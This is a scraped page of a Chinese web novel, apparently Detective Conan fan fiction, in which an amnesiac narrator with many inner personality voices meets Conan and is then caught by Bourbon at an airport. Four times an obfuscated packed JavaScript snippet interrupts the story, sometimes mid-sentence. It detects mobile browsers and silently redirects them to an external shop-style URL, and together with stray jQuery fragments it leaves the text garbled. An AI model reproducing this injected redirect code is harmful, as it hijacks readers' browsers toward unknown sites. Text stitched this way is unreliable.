;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202462|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？！” 大……大哥哥？ 我为什么会被一名高中生这样称呼？ 好几秒过后目眩才褪去。你眨了眨眼，视线模糊的看见了面前的小学生。 穿着与刚才高中生一样的蓝色制服。除此之外，两人再无相似的地方。 你没能搞懂这样的展开，可是从刚才、到现在，和你搭话的人似乎一直是他。 “没事，只是头有点晕而已。”你含混的回答。 “你的脸色看起来很差。需要找个地方休息一下吗？”戴着黑框眼镜、系着红色领结的小学生如此说道。 “对了，就当是你帮我拿回钱包的谢礼！我可以请你……唔，请你吃冰激凌怎么样？刚好那家店有座位。” 小学生指向了一个方向，脸上带着点期待看向你。 你还是没能反应过来。……你刚刚帮助的不是一名高中生吗？为什么会变成“帮了一名小学生拿回钱包”？ 【博学多闻】在这时说道：[你患有解离性人格障碍。不论是失去记忆、记忆片段化、幻觉幻听、癫痫……于你而言，都是正常的，是疾病发作的表征而已。] [【循循善诱】：别忘了，你是一位病理意义上的‘疯子’。] 「那么你们也是我精神疾病发作后导致的幻听？」你忍不住阴阳了一句。 [你也可以当作如此。]他们没有否定。 你不再与他们多言，专注与小学生交流起来：“那我们就去那家店坐坐吧。” 你一边问道：“刚刚你说还没说完呢。你叫什么名字？” “柯南，江户川柯南。”小学生回答。 “哦，柯南君。我可以这么叫你吧？” 两人走进店中坐下。 你没好意思真的白蹭人小学生的零花钱吃冰激凌，所以只是捧着店员送过来的水干坐着。小学生在对面已经开启了尬吹模式： “但是哥哥真的好厉害啊，神不知鬼不觉就帮我把钱包拿回来了。” 你不知该如何回应，“啊哈哈”干笑了声，抿了口水，脑内思考着。 [【能说会道】：既然在意的话，不如直白点问出来呗。看他现在的态度，应该很愿意回答你的疑问吧。] [【能说会道】：需要我帮你问吗？问他护身符的事。] [【内陆帝国】：或者，你应该探探他的来头？] [【内陆帝国】：作为一名小学生，不论米花町再怎么民风淳朴，也不至于给这个年纪的孩子发放定位装置当玩具吧。他的定位装置究竟是从哪儿来的？而且根据他刚刚的言辞态度，他似乎很习惯抓捕犯人与报案。] 你这次却没有采纳他们任何一人提出的建议。 “柯南君。我可以问一下吗？如果你实在觉得这个问题莫名其妙，也可以不回答……” 柯南“嗯嗯”的连连点头，满目天真：“是什么问题？” 你又看了这名小学生一眼。恍惚间发现，如果忽略他的眼睛，单看五官面孔，他或许与你刚刚在“幻象”中看见的高中生是有点相似的。 你仍然捧着杯子，语句不再干脆，显得有些慢吞吞的问道： “你是一名高中生吗？” 柯南的表情凝滞在了那里。 5. 第五章 却不止是柯南。就连时不时在你脑中聒噪几声的人格们也一起陷入了宁寂的沉默。 “你……你为什么会这样认为？” 柯南的额角隐隐滑下了一滴冷汗。 你没有正面回答小学生的问题，只是笑道：“直觉？” [只是因为直觉？直觉让你觉得他是高中生？] 直至此时，脑内的人格们才杂乱的出声询问：[你刚刚看见的幻象，究竟是什么样的？] [你不应该知晓他是高中生。现在他的模样无论如何也不至于让人联想到高中生。至少他外表上的迷惑性还是在的。] [从一开始，你看见的、站在你面前的，都只是一名小学生才对。] 你沉默未答。 却听有一道声音打断脑内其他人格的吵闹议论，定声说道： [【天人感应】：我有一个猜想。莫非是因为切换人格……] [所以你才看见了我们视角中的东西？] 却因为【天人感应】的这句提示，脑内的人格们陷入了更为纷乱的状态： [【通情达理】：等等等等，什么叫做‘我们’？] [【钢筋铁骨】：我看见的一直都只是一名小学生。] [【坚韧不拔】：我也是。] [【能工巧匠】：难道你们看见的是高中生？] [【逻辑思维】：我看见的是小学生。但是……] [【反应速度】：我看见的是小学生，但我知道他的真实身份。] [【标新立异】：可我看见的是高中生？] 不管真相应当如何，他们实在吵得你脑仁儿疼。你扶住额头，感觉偏头痛的症状愈发剧烈，在脑内暗骂了一句： 「都闭嘴。」 人格们齐齐静默了一瞬，但并没有停止议论，似乎是去小声交流情报了。 柯南担忧的看向了你：“你还是身体不舒服吗？” 你摇了摇头答：“我没事。” 你也不知道事实究竟是怎样的。 但那不重要。 你没有回答陷入纷乱迷茫状态的人格们，只是在与面前的小学生交谈：“说回刚才的话题……” 小学生却也学会了卖关子。 柯南没有主动回答你的这个疑问，倒是对你笑了笑，表情带着一点神秘：“在回答这个问题之前，哥哥，说出来你可能不信，我其实会看手相。我先来帮你看个手相吧？” “嗯……嗯？” 你没反应过来这个话题的急转弯，但还是老老实实的向他伸出一只手去，很配合的问：“左手？还是右手？” “哥哥你是右撇子的话，那就右手吧。” 小学生以双手捧住了你伸来的右手。直到这时，完全碰触到柯南带着温度的双手时你才确定，面前的人真的是一位小学生，不是什么幻象。或许你刚刚看见的高中生才是真正的幻象。 柯南摸了摸你的食指，又摸了摸你的中指指节，再触摸了你的掌心。 有点儿痒。你微微蜷缩起右手，感觉有点别扭。 柯南微微偏了头，似乎在想些什么，小学生的脸上显出了不符合他年龄的严肃。 但他很快就松开了你，当你不太自在的收回手时，就见他神神秘秘的向你凑来，压低声音像是在说什么接头暗号一般： “大哥哥，我现在知道了。” “知道了什么？” “你的职业。” 他更是压低了声音，还左右看了一圈。这家店里现在就只有你们两人。 你还以为他会说出什么以小学生来说非常异想天开的内容，比如你是假面○士，或者奥○曼的人间体。 但没想到，他说的也确实是于小学生来说非常异想天开、甚至有些惊世骇俗的内容。 柯南以手遮住嘴角，在你耳边轻轻说道：“你是特殊职业……具体来说，应该是情报工作者吧？” 你一愣，全未想过这个可能性。但随着他的这句提示，脑内的很多线索似乎关联起来，让你有了醍醐灌顶之感。 但你不动声色的问道： “为什么你会这么觉得？” “枪茧。” 他说，“你的手上，有明显是常年练习而留下来的枪茧。” 柯南离远了些，恢复了与你的正常距离。他以普通的音量解释道： “看一个人的手就能知悉很多信息。包括这个人的职业、工作、乃至于更细节的生活习惯都能够窥见些许。” 不论他是不是真的小学生，但你现在已完全可以肯定，这名“小学生”的确不一般。 柯南说道： “比如说单看指甲长度、指甲的干净程度、手上的茧就能区分钢琴家、雕塑家与体力劳动者；再比如说，看手指、手掌的颜色，又能区分厨师与庖丁。” 你听得频频点头，在心中连连感慨“学到了”。恰巧抬眸时，你正对上面前小学生的眼睛。柯南轻轻一推眼镜，镜片反光，他才继续说道： “再至于大哥哥你，正如我刚才所说，再加上你所显露出来的身手……” “但是，单单仅凭这点信息，应该还不足以让你断言我的身份吧？”你仍是不慌不忙的提出质疑。 柯南明显的顿了一下，才压低声音接着说道：“因为我之前就注意到你，应该是在逃离某个人的追捕吧？” “我观察了一下你的行动，你的追踪与反追踪能力不是一般人能够达到的，太过熟练了。一般警察就算需要学习这些技能，也达不到你这个层次。应该是练习了很长时间吧？” 【鬼祟玲珑】在你脑子里骄傲的哼哼着，你却只能以礼貌的微笑尴尬的接下柯南的夸奖。 总不可能和这位小学生解释“其实刚才那不是我，我有人格分裂，刚才那是其他人格的技能”吧？ 我只是一名失去记忆、什么都不知道的普通人。 你捧着杯子，默默喝了口水。 柯南不知你的沉默，只以为是他猜中了正确答案。他看着你喝水，你的面上是（尴尬而不失礼貌的）微笑，他却从你的笑容中品出了几分笑而不语的味道。 他解读出你的笑容，感觉你好像在暗示： 一切尽在不言中。 聪明人就是喜欢想太多。柯南以为他已经完全和你达成了共识，严肃的和你点了点头，并朝你wink了一下，意为：放心吧，我不会把你的身份暴露出去的！ 单纯只是在喝水的你：……？？？ 你：对不上脑电波，感觉我们在鸡同鸭讲完全不同频，有点懵逼，有点焦急.jpg 柯南起了几分同舟共济的心思，好心的向你说道：“你是遇见了什么麻烦吗？” “无法否认，我的确遇见了一点麻烦。” 柯南便问：“需要来我家避一避吗？” 你愣了一下，无需思考便立刻回答：“不用，我可以自己解决。真去你家给你带来麻烦就不好了。” 柯南托着下巴，眼睛看着你，似乎又陷入了沉思。 你理所当然的说道：“你也只是小学生吧？” “虽然你好像是有着超越于你这个年龄段的渊博知识，但不论再怎么说，你现在也只是孩子罢了。” 你长长的叹了一口气，单手撑着脸颊，看向柯南的目光里含着懒散，又带着几分无所谓的随性： “别掺和进这里面来。有些时候，你还是应该收敛一下自己的好奇心。” 虽然就连你自己也不知道你将要面临的是什么样的麻烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202463|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你对小学生说：“别轻易相信陌生人，小心引火上身。” 明明是忠告的话语，不知为何，听过后的柯南反而释然一般笑了出来。 他坦言说道：“虽然大约猜到了你的职业，但其实一直到刚才，我都无法完全确信你的立场。” “……嗯？”你又有点跟不上小学生的思路了。 柯南耸肩：“我无法确认大哥哥你究竟是正方还是反方。” 也无从得知你究竟是黑衣组织的人，还是暗藏在其中的间谍。 “但是，听见你这么关心我，现在我基本能够确定你是一个好人了。” 柯南笑了出来，笑容真有几分符合他外貌的纯真味道： “我只是想看看大哥哥你是不是别有居心，所以提出邀约试探了你一下而已。放心吧，我是不会真的把你带去我家的啦，啊哈哈哈。” 你的表情就显得有点复杂、有点一言难尽了：“我刚刚还在认真忠告你……结果你邀请我去你家，其实只是对我的试探？” ……被刚刚那个看着就一肚子坏水的波本试探也就罢了，为什么我还会被一个小学生试探啊？ 柯南光明正大的点了头。 ……不是，这米花町到底是个什么地方啊，卧虎藏龙的，怎么随便遇上一名小学生也是一名重量级？ 虽然你脸上仍然十分淡定，内心却仍在不可思议：我居然被一个小学生试探了？ 他试探我做什么？他究竟是图啥？？就算我真的是坏人，也应该是由警察来试探我吧？？ 他真这么心系正义，从小学开始就已经接手了属于警察的工作？……不论怎么想这都不太可能吧？！ 所以这名小学生到底是什么人啊？总不会是有什么隐藏身份的大佬吧？？ 却听柯南竟然真的说道：“其实我……” 你睁大眼睛向他看去。 他看着你的表情，好像犹豫了一瞬。 他又闭上了嘴，没有把话说完。 你真是烦死这些卖关子的人了。 柯南沉默一会儿后才终于准备好台词似的，他说道：“我在找一个人。” 说着，他又看向了你：“我可以先问一下你，你的名字吗？” 最初明明是你在询问他、你在打探他的身份。不知何时，谈话的主动权却交到了这名小学生手中。 【能说会道】在脑中嗤笑：[所以说你是真不擅长话术。换我来，我能把这小鬼的底裤颜色都给套话问出来。] 你没有理他，只是陷入沉思。 柯南耐心的等待着你的回答。 【能说会道】又开始撺掇：[要告诉他吗？] [【故弄玄虚】：你能看出来，他的身份并不一般。] [他确认了你的立场，但你却并不能确认他是否是你的同伴。] [【从容自若】：不——不对。] [虽然你的一番说辞似乎取得了他的信任，让他误以为你是好人。] [【内陆帝国】：但你真的是与他同一立场的正派‘好人’吗？] [【循循善诱】：要告诉他你所遇见的不可思议、要告诉他你所面临的困境、……你应该告诉他，你的真实身份吗？] [你以为，他真的是你的‘同伴’吗？] 你仍坚持自己的打算。短暂的沉吟过后，你还是报出了自己的名字。 准确的说，是你方才在警察证上看见的名字。因为失忆，你基本忘却了所有。最大的信息来源只有你最初入手的那份警察证。 对于这个名字，你没有太多实感。但你还是将它说了出来： “……尾叶。” 顿了顿，你说出了警察证上、属于你的全名。 “我叫尾叶。乌丸尾叶。” 6. 第六章 柯南似乎是愣了一下，因为你的回答超出了他的预料。 但你不知道，只是一个名字，为什么能让他觉得意外？ 他明明不认识你，也应该不知晓你的名姓才是。 他却露出了明显的惊讶神情，那惊讶再许久的恍惚过后才逐渐收敛，柯南看着你，又陷入了某种犹豫。 他似乎掌握了什么你不知道的信息。 他正在犹豫是否应该向你继续打探这份信息。 而你也在犹豫，是否应该向他询问这份信息。 [【能说会道】：你应该让我来问。] [【循循善诱】：我更合适。] [【争强好胜】：如果你不喜欢他们两个，让我来也可以。] 你摇了摇头，最终下定决心，却没有多言询问。只是说道：“你遇见了麻烦？” 柯南又是一愣，这次回答得却很干脆。他点头道：“是遇见了一些有点麻烦的情况，缺少了线索……” 他看了你一眼，面带遗憾的移开了视线：“所以现在还没有什么头绪。” 虽说你本来也不是什么乐于助人的类型，但遇见身处困扰的小孩，还是会力所能及的伸手帮上一把的。 可惜你现在自身都是泥菩萨过河，更别说向他人伸出援手了。 于是，你就干脆的没再多问。 反而是柯南主动对你说：“如果你遇见什么实在处理不了的难题，可以来找我。我说不定能够帮到你。” 你：？ 你缓缓打出一个问号，诧异的向他看了过去：“你是不是把我们两人的立场搞反了？这话应该是身为大人的我对你说吧？” 说着，你干脆伸出手狠狠揉了揉小学生的脑袋。 柯南犹为不满，几乎是脱口而出：“别把我当小孩子——” “你就是小孩子。”你凶恶的继续揉他脑袋。 他似乎也意识到了他现在实在无法反驳你的这句话，干脆不再辩解，费了老大劲才从你的魔爪下挣脱。 柯南顶着一脑袋鸡窝头，但他看你的目光反而像是在看一名刚恶作剧完的小学生，莫名带着一股纵容（？）。 柯南理了理头发，一股“我大人有大量，不和小孩子置气”的语气问你：“你接下来打算怎么办？” “还能怎么办。”你答：“玩也玩尽兴了，我现在得走了。” 柯南显得有些欲言又止。而你已经站起身，伸了个懒腰，朝着店外走去。 柯南亦步亦趋的跟了上来，略有犹豫的拉住了你：“……我还能再见到你吗？” 他握住了他钱包上挂着的那个护身符。 你看了他一眼，摸了摸下巴，没忍住恶劣的笑：“你真的不怕我把你拐了卖了？” 柯南直白的翻了个白眼，心说就你刚表现出来的这心眼子，是我把你卖了还差不多。 如果不是听不见别人心声，不，或者说真能听见旁人心声，波本估计会比你还要惊讶——你这小学生，还真信那位“斯皮亚图斯”纯良无害啊！ 没看见他刚刚是怎么和我你来我往相互试探的吗！是的，你没看见！没看见“斯皮亚图斯”真实面孔的人说话就是天真！ 波本视角：连琴酒都忌惮（且信赖）的真酒，谁信他是个好鸟！ 柯南视角：我都摸出这位警察同志十有八九是卧底了（就是不知道他代号是什么），刚刚追他让他陷入险境的肯定就是坏人了。对坏人是另一副面孔，有什么问题？ 然而真相其实只是—— 不管立场是黑方还是红方，你只是单纯的对小孩子比较友善罢了。 但你也没特意反驳柯南明摆出来的不屑，只是回答了他的上一个问题：“谁知道还能不能再见面呢。” 心有所感似的，你再补充了一句：“就算我真安稳活下来了，怕是在短时间之内也不可能再见了。” 你脑内的人格们似乎寂静了很长的时间。 柯南略带犹豫，给了你一枚徽章，说必要的时候可以通过这个联系他。 你不觉得这个东西能派上什么用场，亦不相信这名仍是小学生的孩子，能真的给予什么帮助。脑内的人格的重点却不太一样： [【疑神疑鬼】：不会他其实也是个什么探子，这个东西是个什么定位装置……乃至于微型炸/弹吧？] 你：「你也太疑神疑鬼了，他只是个孩子，怎么可以怀疑他。」 [【疑神疑鬼】：他看起来像是普通孩子？] 你：「不管怎么看他也只是个普通孩子。送给我的心意我收着就收着呗。」 [【疑神疑鬼】：波本给你送‘心意’的时候你可不是这个态度，你可是直接把人家的‘心意’扔垃圾桶了。] 你的回答中带着一股信念感：「大人和小孩终究是不同的。」 【疑神疑鬼】无言以对，半晌终于看出，不是因为你特别信任柯南，单纯就是因为——他是小孩。 [……你个缺心眼儿的！]身体的控制权在你，【疑神疑鬼】只能骂道。 你装作没听到，面不改色的将柯南递给你的徽章收下，珍重的放进了口袋中。 —— 当你告别小学生时，本来你是准备付钱的。 但你翻找完全身上下只找到一个零钱包并发现你的零钱包里面也只有一个钢镚儿，你真就像波本提到的传闻中的形象一样身无分文。 虽然柯南说着“不要紧，本来就是我请你”最后还是小学生出了钱，但你这次真感觉无地自容，告别柯南时你整个人都是萧条的、瑟缩的。 你意识到你是真的没一点钱，甚至前去飞机场都只能搭乘最为廉价的机场大巴，并且这钱还是找柯南借的。 你上一秒还在风萧萧兮易水寒，说着“我可能再也回不来了”； 这一秒已经转换了态度，拉着柯南就差一把鼻涕一把泪的发誓：“我一定会活着回来还钱的！” 柯南嘴角抽搐：“……钱不用还了，你活着回来就行。” 分别之前，柯南看你的眼神充满了怜爱……不，可能“怜悯”更为贴切。 意识到这一点后，你更加卑微的乘上了机场大巴，只留下了一个无助又可怜的背影。 （*然而已经给柯南留下错误印象，许久后确认过安室透身份，柯南发现安室透同时打5份工时竟然有种意料之外情理之中的感觉：这组织是真没油水啊！看看你们卧底一个两个都贫穷成啥样儿了！心痛.jpg） ……还不知道未来的事情，但总之现在。你一点儿逼格和霸气都没有的，堪称逃也似的离开了柯南的视野范围。 乘上车后，寂静下来的独处时间里，人格们才逐一出声： [【逻辑思维】：你真的要去飞机场，回到他的监视下、随同那位‘波本’一起进行任务？] [【循循善诱】：不逃走吗？] [【食髓知味】：这可能是你唯一获得自由的机会。] [【能说会道】：现在就是最好的机会。逃走吧，没有人会怨恨你。] 你沉默了许久。面对他们的劝诱，你给出了自己的答复： 「其实我别无选择，对吧。」 一句话让所有人格陷入了沉默。 「虽然不知道我为什么会失忆、为什么会在这里、我又应该去做什么。但我想，我的目标，应该不仅仅是‘逃脱波本掌控’这么简单吧？」 总在叽叽喳喳品评着的人格们这时却齐整的不答话了。 就连你也忍不住叹了口气。 或许身为原主的“斯皮亚图斯”会更清楚其中关窍，但现在是失了忆、对一切都感到陌生的你。 你缺少了太多信息。 你尝试了逃跑。 却是在其他人格的反应中、以及柯南一句“你是情报工作者吧”的提示下，你意识到了。 你没有办法轻易逃掉。 你不知道你肩负了什么任务。但在任务的那头……肯定有什么系着你。 绳索系着你的脖子，重担压在你的肩头。牵系着你的绳索的另一端……或许是比你的性命更为重要的筹码。 「作为正道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202464|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不得不潜伏在明显并非正派的这个组织当中，面对明显是死局的鸿门宴也不得不接受任务。我不曾逃离，肯定也是有所理由的。」 从一开始，那个组织就断定了，哪怕明知晓这是一场要人命的鸿门宴…… 但你，不会逃、也不能逃。 …… 到达机场时，你已经平复了心绪。 走下大巴，尚未迈步进入机场…… [【五感发达】：提醒一下你，呃……] 话甚至还没说完，你已经听见了重重的脚步声，毫无武学素养的你都能感受到那明晃晃的杀气。 但还没来得及逃，你也仅仅是刚来得及扭头，就直接被狠狠抓住了胳膊。 “斯皮亚图斯，抓、到、你、了。” 那力道大得恨不得直接把你胳膊扭断似的。 你回头，看见面上带笑，表情实则已经扭曲得和贞子有一拼的波本。 他额角的青筋根本止不住，但还是力图以和蔼亲善的语气询问： “呐，斯皮亚图斯前辈，你刚刚到底跑到哪里去浪了？突然一言不发的把我甩开，也太过分了吧？” 你拍拍波本抓着你胳膊的手。他手上也使劲使出了青筋，但没有半点放开你的意思，你胳膊上肯定得留下五道手印子了。 但你还是没说话。 波本便继续道： “呐，前辈，外面好玩吗？是遇见什么好·人了所以才来得这么晚吗？” “呐，你是不是完全忘了我还在这里等你？” “呐，你为什么不敢看我的眼睛？” “呐，你为什么不说话？是心虚了吗？” “呐、呐、呐、呐、呐、呐。” “你倒是说、点、什、么、啊，斯、皮、亚、图、斯、前、辈。” 你被“呐”得头疼，他肯定是故意的，而且还是抓着你。你只好赶紧先说道： “别这样，大街上拉拉扯扯的，成何体统。” 波本呼吸一滞，血压飙高。 这傻*斯皮亚图斯不会真以为我是在抒发独守空闺的寂寞吧？！ 但你好像真的单纯的误解了，就事论事的说道： “我和你又不是那种关系。你看周围的人都对我们指指点点呢。” 波本的笑容好像更灿烂，也更阴间了。 “波本，别这样，真的别这样。” 你就像没发现他扭曲的面容一样，诚恳的看向波本的眼睛说道：“你问的这些问题会让你显得像个弃夫一样。你应该没有病娇重男属性的吧？” “冷静一点，我就是突然想去外面散散步而已，而且我不是提前向你问了碰头地点，说明了我会来嘛，而且还提前了一个半小时，完全来得及啊！” 你看着他，眼里是很诚挚的委屈：“我何错之有呢？还不让人在离开前逛逛街啦！” 波本：“……………………” “你、说、得、对、前、辈。” 可你竟然从波本黢黑——不对——小麦色的脸庞上活生生看出了一抹红晕——显然是被你气得。 波本是真被你气到红温了，他反而陷入了沉默，甚至更为和善的松开了你。 有一句话说得好，“真正的心寒不是大吵大闹，真正的失望不是泪流满面，而是言语短短目光冷淡，我的话你无动于衷，你的事我不再过问”……好像和现在的场景有点出入，但意思嘛是一样的。 波本面带依然灿烂的笑容，也显得更加安静，更加从容了：“你说得对，你说得对啊！临走之前是应该多看一眼，不然就来不及啦！” 他一边把手伸向怀里，作出掏东西的模样。 如果你生在美国，一定会对这个动作有最高级别的戒备，可惜你不是。也只有你的人格们处于一种欲言又止的状态，但你依然没意识到。 你：懂了！机场内禁烟，所以波本这是要在外面吸烟区掏烟抽上一根吗？ 波本：等不及任务开始了，不如干脆在这里把他做了吧。 波本：杀心渐起.jpg 7.第七章 波本当然不可能失了智似的真在这里拔/枪。只有傻子才会选择在遍地武警的机场这么搞，更何况波本他又不傻。 气归气，其实他早就知道臭名远扬的“斯皮亚图斯”绝不是什么好相处的对手。不如说如果你不在这一路上作出点什么妖来，波本反而会感到恐怖了。 接到任务后，他找你就找了整整21天。如果不是你主动给他打了个电话，说不定还会耗时更久。 至于你为什么会主动打电话给他，就暂时不在波本深究的范围内了。 于他而言，这任务再拖下去，毙命的说不定真就是他了。 所以，来见你时波本就已做好了兵来将挡，水来土掩的心理准备。 定位装置只是个小小的试探。 而在你询问过需要前去的地点时，波本就基本已经确信：你是打算跟他一起前去任务的。 不过波本再怎么神机妙算，也不可能猜到“你”现在记忆全失，芯子和原来的“斯皮亚图斯”压根不是一个人。某种意义上来说，你比斯皮亚图斯好对付多了，却也难对付多了。 就比如你跑路是真想跑路，只不过是在意识到自己被抓着什么把柄逃不掉，所以才无奈折返的。 ……算了，那些都不重要。 反正你现在回到了波本的监控下，波本也得以带你继续任务，你们都有光明的未来。 想到前路其实更为艰险漫长，波本现在也不在乎增加的这点血压了。 所以波本只是在怀里掏了掏，掏出来两张机票，其中一张递给了你。 你愣愣的接过，翻来覆去的看了那张机票半晌。 波本好似料到了你在想什么，有点阴阳怪气的说道：“我们出行当然只能乘坐普通商务舱。” 这和你想象的不一样诶？ 你本来以为这种“组织”应该会很有钱逼格也应该会很高，却万万没想到，出行还只能坐最便宜的廉价航班？ “传说中的那种……那种……” 你比划道：“专机接送呢？” 你现在已经猜到了你们身份不凡，也就满怀期待的暗示道：“这种普通商务舱，不怕我们身份暴露？” 波本轻笑了一声，你听出是嗤笑。 “以前辈你的地位，确实应该已经习惯了组织里的专机接送。” 波本故意顿了顿，见你没什么特别的表情，只好无奈继续道：“但现在今非昔比了。前辈，你应该对你的处境有所自觉。” 你是真不知道，是真心实意的打算套话的：“什么处境？” 波本：“……” 这人听不出来自己这是在嘲讽吗，为什么接话接得这么坦然。 波本默默的扭头，不答。 你满脑袋问号。 你接过机票，看了眼上面的信息，又发现了华点：“这机票上面的名字……” 波本：“随便取的。谁会用真实身份证去买机票啊。” 你瞳孔地震的看着他，感觉他好像在不经意间说出了什么非常刑的内容。 如果说到刚才为止，你只是“隐隐的”觉得你身处的这个组织不是什么良善地方； 那现在，看波本全然不以为意云淡风轻的说出这种全然不符合律法的内容，你则是完全确信了你们的组织肯定和非法业务沾点关系……甚至说不定比你想象的更为糟糕。 你的人格们却也是和波本一样的云淡风轻态度。 [【逻辑思维】：这年头谁会用真实身份证去买机票啊。] [【平心定气】；他取名字的审美可真糟糕，你说是吧，山田花子君。] 你看着飞机票上的搭乘者姓名：山田花子，一时静默无言。 你：“看看你的。”然后就伸手想去看看波本机票上的名字。 波本：“请你自重。” 不过他也没多抗拒，被你轻松看见上面的名字：凤凰院晓真。 你：“……为什么你给我的名字就这么土气，你自己的就这么帅气？” 波本：“巧合罢了。一个名字而已，别介意，前辈。” 你默默把自己手头的机票交给了他：“那我和你换换。” 他立刻把他的机票塞进了口袋里，推拒了你递过来的机票：“那张你就自己拿着吧，反正就一个名字而已。而且不是挺适合你的么？” 你不依不饶，伸手准备和他抢。波本动作灵活的躲避，一边语重心长的劝阻你：“就只是一张机票而已，多大点事儿啊，前辈你不要和小孩子一样……” 正这样说着，却真从旁冲出来了一位小孩子。 你们两人也不是普通的站桩走位，你真和波本进行着紧张激烈的机票争夺战（？）。 波本倒是眼观六路耳听八方，早就注意到了小孩子的逼近。奈何有你在咄咄逼人的向他伸手，他恰巧躲避，而你顺势向前踏出，那名小孩子也没料到你如此迅捷而风骚的走位，直直撞在了你身上。 你的目光顺势就落在了面前的小孩儿身上。 亦因你移开目光转移了注意力，你没看见波本抿紧嘴唇，全身肌肉紧绷，比与你争夺机票时更为蓄势待发的模样。 在他的记忆中，组织内关于你的风评总是和“阴晴不定”、“肆意妄为”、“暴虐无道”等负面词汇相关。就连琴酒都会评价你为“残忍”，可想而知你平时的行事是有多荒唐。 别看你现在对波本是一副和颜悦色（？）的态度，那说不定只是给同为组织成员的他一个面子。 现在，如果突然出现一个顶撞了你的陌生小孩儿…… 波本被自己脑内想象出的恐怖景象刺激得汗毛耸立，开始迅速思考应该如何转移你的注意力、安全保下这名小孩儿的注意力。 【五感发达】压根就没认真预警，这时才迟缓的提示：[有小孩儿……哦已经撞到了，那没事了。] 你一挑眉，看向那名不及你膝盖高的小姑娘。 小姑娘一对上你的视线，偏偏还瘪了嘴，嗷呜的一声就大哭起来，那声音大得让你都差一点忍不住想要捂起耳朵。 波本脑内：完、蛋、了！ 她要是真激恼了斯皮亚图斯，这家伙说不定凶残得连小孩子都不放过……！ 波本汗流浃背的思考着对策。他走到小姑娘近前，试图委婉说点什么不脱离“波本”人设的安慰。 ……却万万没想到，你是丝毫没有偶像包袱（？）的蹲身与小孩子齐视，堪称温柔的摸了摸她的脑袋，那声音软得让波本头皮发麻：“抱歉，抱歉，是我没看路。撞痛了吗？”你轻轻碰了碰她的额头。 但偏偏就是这样的语调，也可能是因为你仅对小孩子释放的友善气场，小姑娘一时竟真止住了哭，有些呆愣的看着你。 波本仍在警觉，生怕你下一秒就翻脸不认人，把小孩子劫持了当做人质。 你温声问完了话，小女孩怯生生的摇头，轻易放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220541|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了对陌生人的防备，一边抽噎着说：“不，我没事。是我的爸爸妈妈迷路了……” “你找不到他们了？”你理解了小女孩的意思。 小女孩含泪点头。 你重新站起身，对她说道：“我帮你去找你的父母吧。” 波本在此时插话：“……恕我直言，因为您在外面浪得太久，我们的登机时间所剩不多。你还是别做善事了，离她远点，你直接把她带到广播处吧。” 你摇了摇头，对待波本的时候声音又恢复了平静，甚至隐隐带着一点敷衍：“反正用不了多少时间，很快就能找到了。” 波本仍不太赞同：“别做多余的事。” 你看向波本，目光带着谴责：“你可真没有爱心，对待这么如此的小姑娘竟然还这么冷漠。” 小姑娘也听见了你的批判，有些畏惧的抬头看了眼波本，紧紧抓住你的袖子，怯怯的躲到了你的身后。 波本：“……” 他感觉自己内心在疯狂刷屏，又不能明着说出口：那边才是坏人，你躲到坏人身后只会更危险啊！快点到我这边来！ 波本对小女孩挤出了一个勉强的笑。 小女孩好像更害怕了，身子完全缩在了你的身后。 ……却不止是小女孩，就连你都面露惊惧，戒备的向后退了一步。 他听见你低声喃喃：“原来如此，这就是恐怖谷效应吗……” 波本：？ 你礼貌吗？ 硬了，拳头又硬了.jpg 波本还想说什么，你干脆不看他了，带着小女孩往前走，波本也只能跟上。 [【博学多闻】：这个孩子刚从泰国回来。看她的头绳，是泰丝，那样独特的光泽一眼就能看出来。而她背着的小型曼谷包也应证了她曾去过的就是泰国。] 你：“这孩子刚从泰国回来。” 波本挑眉，看向小姑娘。 小姑娘一听，连哭也忘了，眼睛放光的向你问道：“好厉害！大哥哥你是怎么知道我去的是泰国？” 你微微一笑：“不仅知道你去的是泰国，还知道你和你的父母进行的是一周以内的短期旅行。” 